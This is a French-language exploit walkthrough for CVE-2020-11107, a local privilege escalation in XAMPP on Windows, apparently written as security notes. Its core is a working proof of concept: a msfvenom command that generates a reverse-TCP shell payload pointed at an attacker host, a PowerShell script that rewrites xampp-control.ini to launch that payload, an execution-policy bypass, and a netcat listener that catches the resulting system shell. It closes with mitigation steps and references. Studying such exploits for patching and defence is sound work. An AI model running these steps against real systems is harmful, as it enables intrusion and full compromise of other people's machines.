🧨 CVE-2020-11107 – Escalade de Privilèges Locale XAMPP (Windows)

📌 Aperçu

CVE-2020-11107 est une vulnérabilité d'Escalade de Privilèges Locale (LPE) affectant Apache Friends XAMPP sous Windows.

Un utilisateur non privilégié peut modifier le fichier de configuration du panneau de contrôle XAMPP (xampp-control.ini) et remplacer l'exécutable de l'éditeur par défaut (notepad.exe) par un exécutable malveillant.
Lorsqu'un autre utilisateur (par exemple Administrateur) ouvre des journaux via le panneau de contrôle, le binaire malveillant est exécuté avec les privilèges de la victime, entraînant une escalade de privilèges.

❗ Cette vulnérabilité n'affecte PAS Linux ou macOS.

🎯 Versions Affectées

• XAMPP < 7.2.29
• XAMPP 7.3.x < 7.3.16
• XAMPP 7.4.x < 7.4.4

Testé sur

• Windows 10
• XAMPP 7.3.10

🧠 Cause Racine

• xampp-control.ini est accessible en écriture globale
• Les chemins de l'éditeur/navigateur sont considérés comme fiables et exécutés
• Les modifications de configuration affectent tous les utilisateurs
• Aucune validation des chemins d'exécutables

🗂 Fichiers Importants

C:\xampp\xampp-control.ini
C:\xampp\xampp-control.exe

🔍 Preuve de Vulnérabilité

Vérifier la version de XAMPP :

type C:\xampp\properties.ini

Exemple de sortie :

base_stack_version=7.3.10-1
base_stack_platform=windows-x64

✅ La version est vulnérable.

⚔️ Étapes d'Exploitation (PoC)

1️⃣ Générer une charge utile malveillante (attaquant – Kali)

msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.xxx.xxx LPORT=4444 \
-f exe -o msf.exe

2️⃣ Transférer la charge utile vers la cible

mkdir C:\temp
# Upload msf.exe into C:\temp

3️⃣ Modifier la configuration XAMPP (utilisateur non privilégié)

Script d'exploitation (PowerShell) :

# CVE-2020-11107 PoC
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
$replace = "C:\temp\msf.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file

Exécuter le script :

powershell -ExecutionPolicy Bypass -File 50337.ps1

4️⃣ Déclencher l'exécution (Victime / Admin)

La victime lance :

C:\xampp\xampp-control.exe

Ensuite, elle ouvre n'importe quel fichier journal depuis le panneau de contrôle.

5️⃣ Attraper le Shell (Attaquant)

nc -lvnp 4444

✅ Résultat :

Connection received...
C:\WINDOWS\system32>

🎉 Escalade de privilèges réussie

📈 Impact

• Escalade de privilèges locale
• Exécution de commandes arbitraires
• Compromission totale du système (si déclenchée par un Admin)

🛡 Atténuation

• Mettre à jour XAMPP vers l'une des versions suivantes (ou plus récentes) :

  • 7.2.29
  • 7.3.16
  • 7.4.4

• Restreindre les permissions sur :

C:\xampp\xampp-control.ini

• Éviter d'exécuter le Panneau de contrôle XAMPP en tant qu'Administrateur

📚 Références

• CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11107
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2020-11107
• Avis Apache Friends: https://www.apachefriends.org/blog/new_xampp_20200401.html
• Exploit-DB: https://www.exploit-db.com/exploits/50337
• Recherche originale: https://github.com/S1lkys/CVE-2020-11107